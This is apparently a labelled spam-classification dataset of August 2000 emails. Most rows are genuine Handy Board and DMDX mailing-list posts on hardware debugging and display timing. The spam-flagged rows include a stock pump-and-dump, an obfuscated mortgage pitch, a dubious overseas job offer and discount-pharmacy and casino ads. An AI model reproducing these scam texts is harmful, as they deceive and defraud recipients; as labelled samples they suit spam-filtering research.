+- 0.58ms of each other, wahoo! -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Mon, 07 Aug 2000 21:57:15 -0600",Octal Latch Burn!,"Hi, I think, that I burn the 74HC373 (octal latch), but before removing the chip I want to test it to be sure that the problem is there. But I don´t know how to test if the latch works fine. Any Ideas? Thanks Daniel Ramirez ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Aug 2000 10:26:21 +0100",[DMDX] DMDX 2.x timing,"Hi. I am still a bit worried about the discrepancy in the refresh intervals for the same video mode in different versions of DMDX. >Hi. In TimeDX with DMDX 1.3, 640 x 480 8 bit colour I get a refresh value >of around 8.4 ms. In the new TimeDx for DMDX Version 2 I get a refresh of >11.7. >Possibly because the old code was not functioning properly. I'd have to >have the machine in front of me and run some tests with my photo cell to >find out. We tested the earlier versions of DMDX with a photo-cell and were happy with the timings. I shall test out the timing on other machines. >Without test equipment I'd be looking at the results of the video test >very carefully, looking to see how often it found retraces when they were >supposed to be found, if at 8.4ms it's timing almost all retraces out then >it's more than likely the 8.4ms is spurious (which is one of the main >reasons to switch to 2.0 code). Do you mean that although in theory it could do 8.4 it very rarely achieved this and so the new version is giving the figure it can achieve with a high degree of accuracy? Say I had a machine that gave a refresh rate of 11.9 for 800 x 600 8 bit colour and when I ran the Vertical Retrace Synch Thread it gave no Multiple Timeouts and no Certain errors but lots of Timeouts of 1 ms, then the real refresh rate value would have been something like 12.9? - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Aug 2000 09:43:18 -0700",[DMDX] Re: DMDX 2.x timing,"At 10:26 AM 8/10/00 +0100, you wrote: >Do you mean that although in theory it could do 8.4 it very rarely >achieved this and so the new version is giving the figure it can achieve >with a high degree of accuracy? No, I mean that it's possible the 8.4 is completely spurious and the refresh interval was in fact 11.5ms. >Say I had a machine that gave a refresh rate of 11.9 for 800 x 600 8 bit >colour and when I ran the Vertical Retrace Synch Thread it gave no >Multiple Timeouts and no Certain errors but lots of Timeouts of 1 ms, then >the real refresh rate value would have been something like 12.9? No. For some reason I was never able to ascertain and that led to the development of version 2 the automatic retrace interval code in TimeDX 1 could fail, it would usually display a message when this happened so I never particularly worried about it. The only times I ever saw it in development it went away as soon as I saw it. Then later my home machine would reported 8.5ms when I knew that was unlikely and that the interval was more than likely 12.5ms -- however by that time I was developing version 2 code. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Life, loathe it or ignore it, you can't like it."" - Marvin, ""Hitchhiker's Guide to the Galaxy"" ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Aug 2000 15:40:34 -0700",[DMDX] Re: DMDX 2.x timing,"Given the previous discussion about differences in refresh intervals estimated by different versions of DMDX, I think it is worth making the following points. 1. On my machines, at least, the two versions give the same results. So it is possible that the discrepancies are limited to particular graphics cards and/or CPUs. 2. If you are worried about whether your refresh interval is really what DMDX reports, there is a very simple test. Write an item file that asks for a frame to be displayed for 10000 ticks, and then time the display with a stopwatch to see whether you get the right value. Do this 20 times and average the results, and then divide by 10000, and you will have a very precise measurement of the refresh interval. --KIF ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Thu, 10 Aug 2000 15:47:32 -0400",** Handy Board EAR?**," I built a simple amp using an LM386. I attached an electret condenser mike to it. If I power the device using a 5 V battery I get a CLEAN signal on my osciliscope. If I try to power it using one the Handy Boards analog ports, the signal is distorted. How can I rectify this problem? I tried some caps across the supply lines ut to no avail? HELP! -Mike ",0,0 Chen Yung Hsu ,,"Thu, 10 Aug 2000 16:50:34 -0400",re: .wav files,"hi, this doesn't have anything to do with the handyboard but i was hoping someone could help me. does anyway know how to or have a C program that can play .wav files on another computer? any help is appreciated, thanx in advance. C ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Aug 2000 00:29:13 -0700",[DMDX] Re: DMDX 2.x timing,"At 03:40 PM 8/10/00 -0700, you wrote: >Given the previous discussion about differences in refresh intervals >estimated by different versions of DMDX, I think it is worth making the >following points. > >1. On my machines, at least, the two versions give the same results. So >it is possible that the discrepancies are limited to particular graphics >cards and/or CPUs. Guaranteed. >2. If you are worried about whether your refresh interval is really what >DMDX reports, there is a very simple test. Write an item file that asks >for a frame to be displayed for 10000 ticks, and then time the display >with a stopwatch to see whether you get the right value. Do this 20 times >and average the results, and then divide by 10000, and you will have a >very precise measurement of the refresh interval. I'm not entirely sure that method would work if DMDX was told that the retrace interval was 8.5ms when it was in fact 11.5ms. Such a method certainly worked in the days of yore when we had a retrace interrupt with DM and DMTG, however I'm pretty sure it won't work now as DMDX will be working to make the retrace interval 8.5ms. The only sure way (short of using photosensitive test equipment) is to read the documentation in TimeDX on timing the retrace interval and to look closely at the results printed in that window. If the interval was 11.5ms when the parameters specified 8.5ms there would be an enormous number of timed out retraces (75% or more would be my guess) and while DMDX operates just dandy missing upwards of 50% of them when it's timing parameters are correct you will find that the times that it finds two retraces in a row at are exactly the retrace interval, it's likely that in the above scenario that it would never find two retraces in a row, if it did the intervals would be all over the place. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Life, loathe it or ignore it, you can't like it."" - Marvin, ""Hitchhiker's Guide to the Galaxy"" ",0,0 John Hatton ,HB Mailing list ,"Fri, 11 Aug 2000 13:47:57 +0100",Comms Board to PC connection.,"Could somebody confirm whether the comms board can be connected directly to the serial port of the PC (using 25-9 pin adapter is neccesary). I have a HC11 board from Mekatronix which has a comms board the can be plugged directly into the port, is this the same fr the HB's Comms board ?. Thanks for your help. John Hatton johnhatton@email.com ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 11 Aug 2000 13:10:36 +0000",Re: Comms Board to PC connection.,"yes, see http://el.www.media.mit.edu/projects/handy-board/faq/index.html#rs232 for more. In your message you said: > Could somebody confirm whether the comms board can be connected directly > to the serial port of the PC (using 25-9 pin adapter is neccesary). I > have a HC11 board from Mekatronix which has a comms board the can be > plugged directly into the port, is this the same fr the HB's Comms board > ?. > > Thanks for your help. > > John Hatton > johnhatton@email.com > ",0,1 selstadlori@custombook.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Fri, 11 Aug 2000 14:56:11 -0400",Information You Requested,"Dear Professor Phillips, Thank you for giving me permission to send you this information about Anthology Pro, our textbook-quality custom reader service. To save you time, I've summarized the topics I'll cover in this message: 1. TEXTBOOK QUALITY. We'll turn your reader into a professional-quality anthology with crystal clear text, a paginated table of contents, and a four color cover with a strong binding. 2. EXPRESS ORDERING. You can order your anthology in 5 minutes or less on the phone or the Internet. Your personal Production Manager will take care of everything. 3. ON-TIME GUARANTEE. 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Following a suggestion I read (somewhere), I set the transmit & receive buffers to the minimum size available on com2. (The 9 pin serial port is com2 on my machine.) I get one of two errors. If the charger is plugged in, it looks like the download is going smoothly, but at the end I get an error message which says ""Error at address 0x0000"". If the charger is not plugged in, the error message is ""Wrong port or board mode"". If anyone could help with this problem, I would appreciate it. Steve Mosiman ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 11 Aug 2000 16:29:59 +0000",Re: Download from Notebook on Windows 2000,"I don't know why HBDL doesn't work sometimes. Can you try dl.exe. It's part of the stock Interactive C distribution. There are command line switches to tell it to use COM2. You'll have to throw away the PIF file that comes along. Sometimes it works better in full-screen mode. Please let us know the result... Fred In your message you said: > Last year I had a desktop Compac running Windows 95. I used HBDL and never > encountered any problems. We now have IBM thinkpads running Windows 2000 and > I can't get the downloader to work. I went through the hardware sanity check > on the HB pages and com2 works and communicates with the HB nicely. Followin g > a suggestion I read (somewhere), I set the transmit & receive buffers to the > minimum size available on com2. (The 9 pin serial port is com2 on my > machine.) I get one of two errors. If the charger is plugged in, it looks > like the download is going smoothly, but at the end I get an error message > which says ""Error at address 0x0000"". If the charger is not plugged in, the > error message is ""Wrong port or board mode"". > > If anyone could help with this problem, I would appreciate it. > > Steve Mosiman > ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Aug 2000 12:40:04 -0700",[DMDX] Multimon," Looks like version 2 multi-monitor users are going to have to extend the windows desktop onto the secondary monitor, the exact opposite of the kludge needed to get version 1 dialogs to stay on the primary experimenter's display. You do this by right clicking on the desktop, using Properties / Settings, clicking on the second display icon and answering Yes or checking the ""Extend my Windows desktop onto this monitor"" check box. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 Steve Mosiman ,handyboard@media.mit.edu,"Fri, 11 Aug 2000 18:42:38 +0000",Re: Download from Notebook on Windows 2000,"Fred, I used dl in full screen mode as you suggested and successfully downloaded the pcode interpreter. I haven't actually tried to load an IC program yet, but at least I'm heading in the right direction. (I forgot your advice about throwing away the .pif file, but the .s19 file downloaded anyway). Thanks for a boost. Steve In lugnet.robotics.handyboard, Fred G. Martin writes: >I don't know why HBDL doesn't work sometimes. > >Can you try dl.exe. It's part of the stock Interactive C >distribution. > >There are command line switches to tell it to use COM2. You'll have >to throw away the PIF file that comes along. Sometimes it works >better in full-screen mode. > >Please let us know the result... > >Fred > > >In your message you said: >> Last year I had a desktop Compac running Windows 95. I used HBDL and never >> encountered any problems. We now have IBM thinkpads running Windows 2000 and >> I can't get the downloader to work. I went through the hardware sanity check >> on the HB pages and com2 works and communicates with the HB nicely. Followin >g >> a suggestion I read (somewhere), I set the transmit & receive buffers to the >> minimum size available on com2. (The 9 pin serial port is com2 on my >> machine.) I get one of two errors. If the charger is plugged in, it looks >> like the download is going smoothly, but at the end I get an error message >> which says ""Error at address 0x0000"". If the charger is not plugged in, the >> error message is ""Wrong port or board mode"". >> >> If anyone could help with this problem, I would appreciate it. >> >> Steve Mosiman >> ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Aug 2000 14:55:24 -0700",[DMDX] joystick polling times,"Looked into the issue and there was indeed a line missing in the code (++cp;) that made an infinite loop out of the parser... oops. That's fixed in 2.0.03 which isn't released yet, if someone desperately needs it I will release it but otherwise there other things I'm looking at beforehand. I notice with testmode 9 and my phototransistor that a 10,1 joystick device (mine takes 0.52ms to poll) has an sd of 0.37ms, not too shabby and a 10,2 device an sd of 0.5ms, very nice, just what I'd hope to see. On a different note as one of the tests was running I saved a file to the shared up drive on that machine, RTs went from 19ms +- 1ms to 29ms... boom. Don't be accessing network drives on machines gathering RTs. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish.",0,0 Truman Law ,Stephen ,"Sat, 12 Aug 2000 05:41:08 -0600",Several tyburn rust,"To Investors This tightly held company has rocketed up in price on every great news release. More spectacular news expected this week. All our members should get in on this one early before it blows up. Vemics, Inc ( VMCI ) Current Price: $1.34 Short Term Target: $3.18 Status: StrongBuy Breaking News - Must READ!! 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Sincerely, Janna Barnhart Senior Investment Advisor LWS Group I intendAudrey diamagnetic to get that done immediately it really must be done look wild I have remarked that at those times and when he is least like himself he is most certain ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 12 Aug 2000 16:04:37 -0700",[DMDX] Multimon," I came across a cool thing for people wanting to setup multimonitor systems, a data base of known working combinations: http://www.realtimesoft.com/multimon/db.asp -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Life, loathe it or ignore it, you can't like it."" - Marvin, ""Hitchhiker's Guide to the Galaxy"" ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 12 Aug 2000 16:10:27 -0700",[DMDX] Re: Multimon,"At 04:04 PM 8/12/00 -0700, you wrote: > I came across a cool thing for people wanting to setup multimonitor > systems, a data base of known working combinations: > >http://www.realtimesoft.com/multimon/db.asp And the article I found it in mentioned a couple of good secondary cards: 3dfx Voodoo3 2000 PCI 3dfx Voodoo2 2000 PCI Matrox Millennium PCI Matrox Millennium II PCI Matrox Mystique PCI Matrox G200 PCI TNT2 M64 PCI That last TNT2 M64 based one would be my card of choice. The article is for gamers, but DMDX is closely related to game software, if anything it's a little more demanding, however it doesn't care about 3D stuff: http://www.gamebasement.com/pages/home.asp?nav=articles&id=29 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Life, loathe it or ignore it, you can't like it."" - Marvin, ""Hitchhiker's Guide to the Galaxy"" ",0,1 Steve Mosiman ,handyboard@media.mit.edu,"Sat, 12 Aug 2000 20:25:45 +0000",More download trouble w/Windows 2000 on notebook,"I was overly optimistic when I thought getting the pcode interpreter downloaded via dl was most of the solution. Now I get IC errors. e.g. trying to load a hello world program gives errors like Initializing interrupts Board sync error: looking for prompt, got 12 Synchronizing with board unknown error status 32 !!Unknown error!! while executing (process # 1) Downloading 1860 bytes (addresses 8000-8743): 1860 loaded Board sync error: looking for prompt, got 1 Synchronizing with board COMPILER ERROR!: -2 extra bytes left on board stack Interestingly, the LCD does display hello world in spite of the errors. Similar errors occur when I try to evaluate the expression 1+2; from the IC command line, but the expression is never evaluated. After compiler errors I reload the pcode interpreter. Sometimes the dl software tells me that the config register is incorrect (and offers to correct it, and presumably does). Again, any help would be appreciated. Steve Mosiman",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sat, 12 Aug 2000 23:29:28 -0400","Gameboy cam, HC11??"," Hi I was wondering... is it possible to hook up the gameboy camera to a MC68HC11? Even for still frames? Any info would be appreciated! Thanks -Mike ",0,0 Auld Regina ,"handyboard@media.mit.edu, dianne@media.mit.edu, anthony@media.mit.edu, charles@media.mit.edu, bernard@media.mit.edu","Sun, 13 Aug 2000 03:44:19 -0500",Is Fatigue and Depression Killing U?,"but cruz may nonchalant try analyses the critter on cornbread ",1,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sun, 13 Aug 2000 12:35:18 +0000",Re: More download trouble w/Windows 2000 on notebook,"can you try booting the computer into DOS mode and running IC from there. not that it's a good long term strategy, but sometimes this works when running IC from within Windows doesn't. fred In your message you said: > I was overly optimistic when I thought getting the pcode interpreter > downloaded via dl was most of the solution. Now I get IC errors. e.g. tryin g > to load a hello world program gives errors like > > Initializing interrupts > Board sync error: looking for prompt, got 12 > Synchronizing with board > unknown error status 32 > !!Unknown error!! while executing (process # 1) > Downloading 1860 bytes (addresses 8000-8743): 1860 loaded > Board sync error: looking for prompt, got 1 > Synchronizing with board > COMPILER ERROR!: -2 extra bytes left on board stack > > Interestingly, the LCD does display hello world in spite of the errors. > > Similar errors occur when I try to evaluate the expression 1+2; from the IC > command line, but the expression is never evaluated. > > After compiler errors I reload the pcode interpreter. Sometimes the dl > software tells me that the config register is incorrect (and offers to correc t > it, and presumably does). > > Again, any help would be appreciated. > > Steve Mosiman >",0,0 tkwriter@vanc.igs.net,tkwriter@vanc.igs.net,"Mon, 14 Aug 2000 02:10:59 -0700",Documentation Specialist Seeking Contract Work,"Documentation Specialists Seeking Contract Work - Technical Writing, graphics, Robohelp, HTML, SGML, etc. Senior technical writers, project leaders and electronic documentation specialists seek contract work. Clients have included companies such as Microsoft and Koch Petroleum. Excellent communication skills, able to work with all levels of the company from programmers to CEO. Excellent background in technical, marketing and creative writing. Familiar with educational material as well as e-commerce. Writing samples, full resume and references available on request. Experience in creating both published and online documentation. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Aug 2000 12:56:08 -0700",[DMDX] 2.0.03,"OK, 2.0.03 is up on the website. This one has the fix and an RTF control word override. Word problems are patently just not going to go away so there is now a check box to override the errors that result from unknown RTF control words being in the RTF file. Checking this option could possibly cause an item file to display in an unintended fashion because the control word that is being ignored did actually mean something, however DMDX already supports most of the obvious text formatting that windows itself natively supports so in the vast majority of instances checking this will simply allow an item file to be used that would otherwise get refused. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish.",0,0 �� ���� ,handyboard@media.mit.edu,"Tue, 15 Aug 2000 06:22:43 +0400",��û���� ���α��� �����̳� �Ϲ��ۼ�Ʈ �Ա� �Ϸ�,"���������� ������ 30������ 5���������� ���� ����!                 ""��������""�� [����������]",1,1 Casandra ,handyboard@media.mit.edu,"Tue, 15 Aug 2000 02:48:16 -0400",Visit Las Vegas today,"77 Fantasticc Gamez Best B0nus Structure $888 Free VIP pr0gramzz 0nline chat with 0ther players Prr0gressive Jack-P0ts $1,777,000 0NLINE BEATY DEALERZ via WEB-CAM Chat with friendz and h00kup dealers ;) ""There is no road,"" answered the Guardian of the Gates.",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Aug 2000 11:57:40 -0700",[DMDX] 2.0.05," 2.0.05 fixes a focus issue with multimon naming task negation (you couldn't respond to the naming task negation prompt because the focus control works so well and I had forgotten to switch the focus in the naming task negation code). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 John Hatton ,HB Mailing list ,"Wed, 16 Aug 2000 09:05:10 +0100",config register.,"I am using hbdl to download to my hb. In the config text box if I set it to OCh the downloader reports an error stating the the config register is ODh. I thought that the program was supposed to set the config register to whatever was in the text box ?. If I set the config text to ODh and download the hb pcode file it works and the hb displays the startup message correctly when restarted. Can somebody clarify this for me and tell me how else I should correct the config register. Thanks John Hatton johnhatton@email.com ",0,0 John Hatton ,HB Mailing list ,"Wed, 16 Aug 2000 09:18:47 +0100",IC registration number,"Could somebody let me know who I should contact for the following problem. I bought IC3.1 a year or so ago (have downloaded 3.2 since then) and I was provided with the relevant registration codes via email. I need to reinstall IC onto my pc but unfortunately I have lost the codes and the original email is no longer available to me as I have moved jobs since. I have finally gotten around to building my hb and am at the stage where I need IC to test the board. I am hoping that somebody can reference my previous details and tell me what the code was but I have not got an email address to send to and we don't have internet access at work to access the website. So if somebody can tell me the email address to send to it would be greatly appreciated. Thanks for your help. John Hatton johnhatton@email.com ",0,0 Sorrel Dilday ,handyboard@media.mit.edu,"Wed, 16 Aug 2000 03:01:43 -0400",Re: oawyo news,"Dea w r Home O v wne a r , Your cr k ed e it doesn't matter to us ! If you O r WN real e u st m at u e and want I g MME v DIA b TE cas y h to s w pen i d ANY way you like, or simply wish to L y OWER your monthly pa j yment u s by a third or more, here are the d y eals we have T o OD k AY : $ 4 h 88 , 000 at a 3 u , 67% f q ixed - ra c te $ 3 w 72 , 000 at a 3 t , 90% va o riabl f e - rat y e $ 49 g 2 , 000 at a 3 , q 21% int f eres r t - only $ 24 c 8 , 000 at a 3 i , 36% f z ixed - rat h e $ 1 d 98 , 000 at a 3 i , 55% v i ariable - ra z te Hurr z y, when these dea i Is are gone, they are gone ! Don't worry about app s rov o al, your cr o edi z t will not dis l qual g ify you ! V m isi o t our s o ite Sincerely, Sorrel Dilday A a pprov f al Manager",1,1 bouyssou ,handyboard@media.mit.edu,"Wed, 16 Aug 2000 13:15:45 +0000",Question on Handy Board connected to three other 68hc11," Hello, I bought an Handy Board and I would like to use it with 3 other 68hc11e2 cards. These four 68hc11 are connected together with the port D (MISO, MOSI, CLK). SS of Handy Board is connected to +5v and Handy Board always is the master. On the first 68hc11e2 : SS input and PC0 are connected to y0 of expansion board port. On the second 68hc11e2 : SS input and PC0 are connected to y1 of expansion board port. On the third 68hc11e2 : SS input and PC0 are connected to y2 of expansion board port. Therefore, the three 68hc11e2 start an input interrupt when y0 or y1 or y2 is connected to 0v. But the code on Handy Board isn t correct. Do you see a mistake on my little program ? Thanks void main () { int toto,resu; toto = 1; while( toto == 1) { /* 0x4000 => 40 to PBx and 00 to PCx */ poke(0x1004,0x40); /* selection the Y0 */ poke(0x1003,0x00); poke(0x1009,0x38); /* reset DDRD */ poke(0x1028,0x57); /* reset SPCR */ poke(0x102A,toto); /* store SPDR */ while( peek(0x1029) > 0 ) /* wait loop */ { } resu = peek(0x102A); /* look SPDR */ printf(""%d\\n"",resu); } /* end while */ } /* end main */ ",0,0 Ana Lujan <400aharon@hideakifan.com>,handyboard@media.mit.edu,"Wed, 16 Aug 2000 09:33:30 +0500",RE: If you are studing or working ,"Dear Mr(Mrs), Iris!!. Our company Barcelo Travel Inc. have a great job offer for peoples from Australia. Your salary per week can start from 1000 USD in first week. After one month you will have about 2500 per week. For more info please to our e-mail barcelotravel@aol.com Regards, Sheena Rivers SWed, 16 Aug 2000 09:33:30 +0500 adposition ",1,0 Perlita Breaux ,handyboard@media.mit.edu,"Wed, 16 Aug 2000 05:08:13 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! If you OW k N real e n st y at l e and want I y MMED h IA r TE cas j h to sp w en y d ANY way you like, or simply wish to L v OWER your monthly p q aym c ents by a third or more, here are the de b als we have T v OD i AY : $ 4 g 88 , 000 at a 3 , l 67% fi d xed - rat u e $ 37 c 2 , 000 at a 3 u , 90% va n riab n le - ra z te $ 49 j 2 , 000 at a 3 , z 21% in q tere i st - only $ 24 t 8 , 000 at a 3 p , 36% f g ixed - ra h te $ 1 h 98 , 000 at a 3 l , 55% va v riable - ra p te Hurr r y, when these dea q Is are gone, they are gone ! Don't worry about a g pprova g l, your cr g edi n t will not di q squa o lify you ! V y isi y t ou q r site Sincerely, Perlita Breaux Ap c prov c al Manager",1,1 Jerry Normandin ,handyboard@media.mit.edu,"Wed, 16 Aug 2000 23:50:37 +0000",Complete memory map on Handy Board,"Is there a complete memory map for the handyboard I can Look at? I'm building up a board and would like to use the expansion port. I am going to interface a VX1, the interface will be different than what has been previously done. AlsoI've been thinking about buying the a GPS module I found. Also may want to interface other devices in the future. Any memory map? Also it was FUN putting togther code for Handyboard support for Linux. I will be putting together a tar file that include all the libraries and all the utilities I had to track down. ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 17 Aug 2000 02:46:53 +0000",Re: Complete memory map on Handy Board,"yes, please see http://el.www.media.mit.edu/projects/handy-board/faq/index.html#memmap fred In your message you said: > Is there a complete memory map for the handyboard I can > Look at? I'm building up a board and would like to use > the expansion port. I am going to interface a VX1, the interface > will be different than what has been previously done. AlsoI've been > thinking about buying the a GPS module I found. > Also may want to interface other devices in the future. > Any memory map? > > Also it was FUN putting togther code for Handyboard support > for Linux. I will be putting together a tar file that > include all the libraries and all the utilities I had > to track down. > ",0,1 John Hatton ,HB Mailing list ,"Thu, 17 Aug 2000 08:52:56 +0100",Re: IC registration number,"Thanks for the suggestion, the problem is that the main machine that it was installed on was my pc at my previous employers (I was intending on using it at lunchtimes) and when I moved jobs the pc would have been reformatted. I thought I had installed IC onto my home pc and entered the registration code but all I can find is the installation file. I was hoping that if someone could forward me an address of someone at Newton Labs (possibly Randy Sargent) I could email them and ask the questions. With regards to my previous email about the config register, I used dl.exe instead and it reported an error the first try, corrected the config register the second try and downloaded the pcode file on the third. I am assuming that this is the way it is supposed to work so if any body has the same problem use dl three times and as long as your comms are correct the config register should be corrected and the pcode should download. Thanks in advance. John Hatton johnhatton@email.com Marco A. A. de Oliveira wrote: > Hi Mr. Hatton, > > If you still have a previous IC 3.1 installation on some computer, you > will find the codes in the file > 'ic.ini', located in the directory into which IC was installed. > > > John Hatton wrote: > >> I bought IC3.1 a year or so ago. I need to reinstall IC onto my pc >> but unfortunately the registration codes are no longer available to >> me as I have moved jobs since. >> I am hoping that somebody can reference my previous details and tell >> me what the code was but I have not got an email address to send to >> and we don't have internet access at work to >> access the website. So if somebody can tell me the email address to >> send to it would be greatly appreciated. > ",0,0 John Hatton ,HB Mailing list ,"Thu, 17 Aug 2000 13:55:31 +0100",play wav files on HB,"I've seen mentioned in the last few weeks something about playing wav files on the hb, is this using the standard hardware or is there a utility that can convert small wav files into a format playable by the hb. I have gotten as far as playing the pink panther tune from the music.c file in the IC2.x library but a wav file seems a bit out of this particular programs league. Any information would be appreciated. Thanks. John Hatton johnhatton@email.com ",0,0 Lon Shapiro ,John Hatton ,"Thu, 17 Aug 2000 08:52:53 +0600",Re: IC registration number,"Hi John, (from their web pages http://www.newtonlabs.com/) Newton Research Labs, Inc. 4140 Lind Avenue S.W. Renton, WA 98055 Tel: 425.251.9600 Fax: 425.251.8900 mailto:support@newtonlabs.com I've had a similar problem (system I was running lost the HD, big time crash) and by phoning and explaining my situation, they were able to look up my reg information (which I have now written down ;) Good luck. Lon On Thu, 17 Aug 2000, John Hatton wrote: > Thanks for the suggestion, the problem is that the main machine that it > was installed on was my pc at my previous employers (I was intending on > using it at lunchtimes) and when I moved jobs the pc would have been > reformatted. I thought I had installed IC onto my home pc and entered > the registration code but all I can find is the installation file. I was > hoping that if someone could forward me an address of someone at Newton > Labs (possibly Randy Sargent) I could email them and ask the questions. > > With regards to my previous email about the config register, I used > dl.exe instead and it reported an error the first try, corrected the > config register the second try and downloaded the pcode file on the > third. I am assuming that this is the way it is supposed to work so if > any body has the same problem use dl three times and as long as your > comms are correct the config register should be corrected and the pcode > should download. > > Thanks in advance. > > John Hatton > johnhatton@email.com > > > Marco A. A. de Oliveira wrote: > > > Hi Mr. Hatton, > > > > If you still have a previous IC 3.1 installation on some computer, you > > will find the codes in the file > > 'ic.ini', located in the directory into which IC was installed. > > > > > > John Hatton wrote: > > > >> I bought IC3.1 a year or so ago. I need to reinstall IC onto my pc > >> but unfortunately the registration codes are no longer available to > >> me as I have moved jobs since. > >> I am hoping that somebody can reference my previous details and tell > >> me what the code was but I have not got an email address to send to > >> and we don't have internet access at work to > >> access the website. So if somebody can tell me the email address to > >> send to it would be greatly appreciated. > > > -- Lionel (""Lon"") R. Shapiro, Ph.D. 309.556.3535 office Dept. of Mathematics & Computer Science 309.556.3864 fax C207B Center for Natural Science mailto:lshapiro@sun.iwu.edu Illinois Wesleyan University http://www.iwu.edu/~lshapiro Bloomington, IL 61702-2900 USA ",0,1 Cleo ,"handyboard@media.mit.edu, rochelle@media.mit.edu, lolita@media.mit.edu, noemi@media.mit.edu, ellen@media.mit.edu, dolly@media.mit.edu","Fri, 18 Aug 2000 04:23:07 +0500",You can save up to 70% on Cialis Myles ," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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Any ideas ? Thanks in advance John Hatton johnhatton@email.com Jerry Normandin wrote: > Wait.. > > With only 16k available for a program I'd rather save room for my > application. > > But... > > I bet you can Pulse width modulate a digital output pin, drive an > amplifier and feed that through a speaker. Down sample an 8 bit > sound file to one bit (Yes this works) and if you pulse width modulate > the pin you will hear sound. I wrote code to do this MANY years > ago and used a ""State of the Art"" 8Hhz IBM PC. > I'll check to see if I still have the code. It is in assembler of course. > This will use a massive amount of precious CPU time. > > Another old solution from the past.. when I was in college, > is to sample raw 8bit, 8khz samples, store them in a rom, > and clock the phrases out through a DAC. > > John Hatton wrote: > > > I've seen mentioned in the last few weeks something about playing wav > > files on the hb, is this using the standard hardware or is there a > > utility that can convert small wav files into a format playable by the > > hb. I have gotten as far as playing the pink panther tune from the > > music.c file in the IC2.x library but a wav file seems a bit out of this > > particular programs league. > > Any information would be appreciated. > > > > Thanks. > > > > John Hatton > > johnhatton@email.com ",0,0 Kristina Dempsey ,handyboard@media.mit.edu,"Fri, 18 Aug 2000 19:24:25 -0200","[fwd] Put CGDC on your radar's now. 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I am currently using the freeware version on the laptop and 3.2 at home but this restricts my ability to develop code once I am out of the construction/testing phase and try to do something productive with it. Thanks for any help. John Hatton johnhatton@email.com ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 21 Aug 2000 13:29:18 +0000",Re: IC using Windows 3.11,"sorry about the blank msg, what i meant to say is: doesn't the freeware/DOS vers of IC run nicely under win 3.11? in a DOS shell, of course. maybe some readers can share their experience with this. fred In your message you said: > Is there a version of IC that will run under Windows 3.11 ?, The current > version (3.2) only runs on Win32 platforms (9x & NT) and the freeware > version only runs under DOS. The reason that I ask is that version 3.2 > contains alot of functionality the the freeware version does not (the > obvious reason for buying 3.2) but will not run on my laptop which is > intended to be my development platform for the HB as I can use it at > work. The laptop is not really capable of running Windows9x (486DX, 8Mb > mem, 200Mb HDD). > Any ideas ?. I am currently using the freeware version on the laptop and > 3.2 at home but this restricts my ability to develop code once I am out > of the construction/testing phase and try to do something productive > with it. > > Thanks for any help. > > John Hatton > johnhatton@email.com > ",0,0 John Hatton ,"""Fred G. Martin"" ","Mon, 21 Aug 2000 14:43:43 +0100",Re: IC using Windows 3.11,"I can run the freeware version fine, my problem is the programming functionality that has been added to 3.2 that is not in the freeware version (the interface does not matter too much as once the hb is programmed it does not need the pc connection). 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Kent | -----Original Message----- | From: jhatton@media.mit.edu [mailto:jhatton@media.mit.edu]On Behalf Of | John Hatton | Sent: Thursday, August 24, 2000 6:15 AM | To: HB Mailing list | Subject: IR output driver | | | Does any one know how much current the ZTX614 NPN Darlington transistor | (Q1 - IR 